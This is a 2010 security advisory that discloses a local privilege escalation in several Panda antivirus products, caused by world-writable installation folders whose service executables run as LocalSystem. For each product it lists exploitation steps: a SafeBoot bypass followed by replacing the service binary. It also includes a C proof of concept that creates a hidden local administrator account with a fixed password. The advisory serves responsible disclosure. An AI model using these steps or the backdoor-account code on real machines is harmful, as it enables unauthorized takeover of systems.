_________________________________________
Security Advisory NSOADV-2010-001
_________________________________________
_________________________________________


  Title:                  Panda Security Local Privilege Escalation
  Severity:               Medium
  Advisory ID:            NSOADV-2010-001
  Found Date:             02.2008
  Date Reported:          30.11.2009
  Release Date:           09.01.2010
  Author:                 Nikolas Sotiriu (lofi)
  Mail:                   nso-research at sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2010-001.txt
  Vendor:                 Panda Security (http://www.pandasecurity.com/)
  Affected Products:      (Self tested)
                          -Panda Security for Business 4.04.10
                          -Panda Security for Business with Exchange
                           4.04.10
                          -Panda Security for Enterprise 4.04.10
                          -Panda Internet Security 2010 (15.01.00)
                          -Panda Global Protection 2010 (3.01.00)
                          -Panda Antivirus Pro 2010 (9.01.00)
                          -Panda Antivirus for Netbooks (9.01.00)

                          (Provided by Panda)
                          -Panda Global Protection 2009
                          -Panda Internet Security 2009
                          -Panda Antivirus Pro 2009
                          -Panda Internet Security 2008
                          -Panda Antivirus + Firewall 2008
                          -Panda Platinum 2007 Internet Security
                          -Panda Platinum 2006 Internet Security

  Affected Component:     Corporate Products:
                          -Panda Security for Desktops 4.05.10
                          -Panda Security for File Servers 8.04.10

  Remote Exploitable:     No
  Local Exploitable:      Yes
  Patch Status:           Vendor released a patch (See Solution)
  Discovered by:          Nikolas Sotiriu
  Disclosure Policy:      http://sotiriu.de/policy.html
  Thanks to:              Thierry Zoller: For the permission to use his
                                          Policy



Background:
===========

Panda Security for <Product> is the security solution for companies that
need to protect their networks, mainly workstations and file servers.
Panda Security for Business is centrally managed thanks to the
AdminSecure Console, which allows monitoring the entire network,
protecting your critical assets against all types of threats and
optimizing productivity.

(Product description from Panda Website)

This vulnerability is similar to the following vulnerabilities in Panda
products, which where discovered earlier:

Sep 07 2006 3APA3A: http://www.securityfocus.com/bid/19891
Aug 02 2007 tarkus: http://www.securityfocus.com/bid/25186
Oct 31 2009 Protek: http://www.securityfocus.com/archive/1/507615
Nov 02 2009 Maxim:  http://www.securityfocus.com/bid/36897

The earlier reported vulnerabilities only affected the Home user
products. But the business products had the same bug.

More interesting is, that Panda failed since 2006 each year by
releasing the new version with the same old bug.



Description:
============

1. 32Bit Version of Panda Security for Desktops/File Servers
+-----------------------------------------------------------

During  installation  of  Panda Security for Desktops/File Servers the
permissions for installation folder

%ProgramFiles%\Panda Software\AVTC\

by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account.

The 32bit Version of Panda Security  for Desktops/File Servers
installs the TruePrevent package by default, which protects the files
in the installation directory from manipulation.

If the TruePrevent Service (Panda TPSrv) is not running the files are
completely unprotected.

A normal user is not able to stop the service, but normally he can boot
his workstation in SafeBoot mode, in which the TPSrv is not started and
all services files can be manipulated.

This can be exploited by:

    a. Boot the PC in SafeBoot mode, by pressing F8 during the boot
       process
    b. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
    c. Copy any application to PAVSRV51.exe
    d. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

Executable started as services:
+------------------------------
%ProgramFiles%\PANDA SOFTWARE\AVTC\PSKMsSvc.exe (Desktop only)
%ProgramFiles%\PANDA SOFTWARE\AVTC\PavSrv51.exe
%ProgramFiles%\PANDA SOFTWARE\AVTC\PavFnSvr.exe
%ProgramFiles%\PANDA SOFTWARE\AVTC\PSHost.exe
%ProgramFiles%\PANDA SOFTWARE\AVTC\PsImSvc.exe
%ProgramFiles%\PANDA SOFTWARE\AVTC\PsCtrlS.exe
%ProgramFiles%\PANDA SOFTWARE\AVTC\TPSrv.exe


2. 64Bit Version of Panda Security for Desktops/File Servers
+-----------------------------------------------------------

During  installation  of  Panda Security for Desktops/File Servers the
permissions for installation folder

%ProgramFiles%\Panda Software\AVTC\

by  default  are  set  to Everyone:Full Control. Few services
(e.g. PavSrvx86.EXE) are started from this folder. Services are started
under LocalSystem  account.

In the 64bit Version of Panda Security  for Desktops/File Servers is no
TruePrevent package available, which protects the files in the
installation directory from manipulation.

There is no protection of service files. It's possible for unprivileged
user to replace service executable with the file of his choice to get
full access with LocalSystem privileges.

This can be exploited by:

    a. Rename  PavSrvX86.exe to PavSrvX86.old in Panda folder
    b. Copy any application to PavSrvX86.exe
    c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

Executable started as services:
+------------------------------
C:\Program Files (x86)\PANDA SOFTWARE\AVNT\PavSrvX86.exe
C:\Program Files (x86)\PANDA SOFTWARE\AVNT\PsImSvc.exe
C:\Program Files (x86)\PANDA SOFTWARE\AVNT\PskSvc.exe
C:\Program Files (x86)\PANDA SOFTWARE\AVNT\PsCtrlS.exe


3. Panda Internet Security/Global Protection/Antivirus Pro 20XX
+-----------------------------------------------------------------------

During  installation  of the Panda Security 20XX Products the
permissions for installation folder

%ProgramFiles%\panda security\panda <product>\

by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account.

This products installs the TruePrevent package by default, which
protects the files in the installation directory from manipulation.

If the TruePrevent Service (Panda TPSrv) is not running the files are
completely unprotected.

A normal user is not able to stop the service, but normally he can boot
his workstation in SafeBoot mode, in which the TPSrv is not started and
all services files can be manipulated.

This can be exploited by:

    a. Boot the PC in SafeBoot mode, by pressing F8 during the boot
       process
    b. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
    c. Copy any application to PAVSRV51.exe
    d. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

Executable started as services:
+------------------------------
%ProgramFiles%\panda security\panda <product>\firewall\PSHOST.EXE
%ProgramFiles%\Panda Security\Panda <product>\PavFnSvr.exe
%ProgramFiles%\Panda Security\Panda <product>\PsImSvc.exe
%ProgramFiles%\Panda Security\Panda <product>\pavsrv51.exe
%ProgramFiles%\Panda Security\Panda <product>\PskSvc.exe
%ProgramFiles%\Panda Security\Panda <product>\PsCtrls.exe
%ProgramFiles%\Panda Security\Panda <product>\TPSrv.exe


4. Panda Antivirus for Netbooks
+------------------------------

During  installation  of the Panda Antivirus for Netbooks the
permissions for installation folder

%ProgramFiles%\panda security\Panda Antivirus for Netbooks\

by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account.

This product installs the TruePrevent package by default, which protects
the files in the installation directory from manipulation.

If the TruePrevent Service (Panda TPSrv) is not running the files are
completely unprotected.

A normal user is not able to stop the service, but normally he can boot
his workstation in SafeBoot mode, in which the TPSrv is not started and
all services files can be manipulated.

This can be exploited by:

    a. Boot the PC in SafeBoot mode, by pressing F8 during the boot
       process
    b. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
    c. Copy any application to PAVSRV51.exe
    d. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

This product was not patched like the other 2010 products, so the
the following vulnerability already exists:

http://www.securityfocus.com/bid/36897

TruePrevent bypass: It can be bypassed using "Open" dialog in
"Quarantine" -> Add file" functionality.

Executable started as services:
+------------------------------
%ProgramFiles%\Panda Security\Panda Antivirus for Netbooks\PavFnSvr.exe
%ProgramFiles%\Panda Security\Panda Antivirus for Netbooks\PsImSvc.exe
%ProgramFiles%\Panda Security\Panda Antivirus for Netbooks\pavsrv51.exe
%ProgramFiles%\Panda Security\Panda Antivirus for Netbooks\PskSvc.exe
%ProgramFiles%\Panda Security\Panda Antivirus for Netbooks\PsCtrls.exe
%ProgramFiles%\Panda Security\Panda Antivirus for Netbooks\TPSrv.exe



Proof of Concept :
==================

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123
/add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators
owner /add", szWinDir );

system( szCmdLine );

return 0;
}



Solution:
=========

Home User Products:
+------------------

Panda Advisory
http://www.pandasecurity.com/homeusers/support/card?id=80173&idIdioma=2

Panda Global Protection 2010 Hotfix
http://www.pandasecurity.com/resources/sop/PGP10/hfgp30906s22_r4.exe

Panda Internet Security 2010 Hotfix
http://www.pandasecurity.com/resources/sop/PIS10/hfp150906s25_r1.exe

Panda Antivirus Pro 2010 Hotfix
http://www.pandasecurity.com/resources/sop/PAVPro10/hft90906s21_r1.exe


Business Products:
+-----------------

Not provided by Panda



Disclosure Timeline (YYYY/MM/DD):
=================================

2008.02.??: Vulnerability found
2008.02.??: Reported to Vendor (no response)
2009.11.28: Tested the current versions and update this advisory
2009.11.30: Asked vendor for a PGP Key
2009.11.30: Vendor sent PGP Key
2009.11.30: Sent PoC, Advisory, Disclosure policy and planned disclosure
            date (2009.12.17) to Vendor
2009.11.30: Vendor acknowledges the reception of the advisory
2009.12.15: Ask for a status update, because the planned release date is
            2009.12.17.
2009.12.15: Panda Security Response Team informs me that they are
            working on a fix and will give me a hotfix publishing date
            tomorrow.
2009.12.16: Panda Security Response Team informs me that they need a few
            more days to prepare the Hotfix publishing.
2009.12.17: Changed release date to 2009.12.23.
2009.12.21: Asked for a list of affected products
2009.12.21: Got a list with affected products and a the wish to delay
            the release to the 2009.12.24.
2009.12.21: Changed release date to 2009.12.24.
2009.12.23: Asked for a list of affected products for the corporate
            suites which was not part of the previously provides list.
            [No response]
2010.01.04: Ask for a status update, because there is no advisory
            published and i didn't got a response to my last mail.
2010.01.05: Panda send me the Link to there advisory (Home User
            Products)
2010.01.05: Asked if the corporate products are patched.
            [No response]
2010.01.07: Informed Panda, that i will release the Advisory on
            2010.01.08
            [No response]
2010.01.09: Release of this Advisory